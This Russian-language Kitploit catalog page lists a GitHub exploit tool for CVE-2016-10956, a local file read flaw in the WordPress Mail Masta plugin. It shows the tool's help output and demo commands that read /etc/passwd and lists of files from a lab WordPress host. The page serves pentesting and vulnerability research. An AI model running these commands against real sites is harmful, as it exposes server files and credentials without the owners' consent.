Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-10956-mail-masta — Уязвимость локального включения файлов в плагине MailMasta для WordPress (CVE-2016-10956) | Kitploit
Инструменты/GitHubGitHub/p0dalirius/cve-2016-10956-mail-masta
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubp0dalirius/cve-2016-10956-mail-masta

CVE-2016-10956-mail-masta

Уязвимость локального включения файлов в плагине MailMasta для WordPress (CVE-2016-10956)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
2124 лет назадПроверено Kitploit

Mail Masta - локальное чтение файлов (CVE-2016-10956)

GitHub release (latest by date) YouTube Channel Subscribers

Плагин mail-masta версии 1.0 для WordPress содержит уязвимость локального чтения файлов в count_of_send.php и csvexport.php.

Использование

root@kitploit:~
$ ./CVE-2016-10956_mail_masta.py -h
[+] Mail Masta - Local File Read (CVE-2016-10956)

usage: CVE-2016-10956_mail_masta.py [-h] [-v] [-s] -t TARGET_URL [-f FILE | -F FILELIST] [-D DUMP_DIR] [-k] [-r]

Description message

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbose mode
  -s, --only-success    Only print successful read file attempts.
  -t TARGET_URL, --target TARGET_URL
                        URL of the wordpress to connect to.
  -f FILE, --file FILE  Remote file to read.
  -F FILELIST, --filelist FILELIST
                        File containing a list of paths to files to read remotely.
  -D DUMP_DIR, --dump-dir DUMP_DIR
                        Directory where the dumped files will be stored.
  -k, --insecure        Allow insecure server connections when using SSL (default: False)
  -r, --raw             Raw dump of the file without php base64 wrapper (default: False)

Демонстрация

Чтение конкретного удалённого файла

root@kitploit:~
./CVE-2016-10956_mail_masta.py -t http://192.168.56.106/wp/ -f /etc/passwd

Чтение указанных удалённых файлов из словаря

root@kitploit:~
./CVE-2016-10956_mail_masta.py -t http://192.168.56.106/wp/ -F wordlist

Чтение указанных удалённых файлов из словаря с выводом только найденных файлов

root@kitploit:~
./CVE-2016-10956_mail_masta.py -t http://192.168.56.106/wp/ -F wordlist --only-success

Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2016-10956
  • https://cxsecurity.com/issue/WLB-2016080220
  • https://wordpress.org/plugins/mail-masta/#developers
  • https://wpvulndb.com/vulnerabilities/8609
Скачать инструмент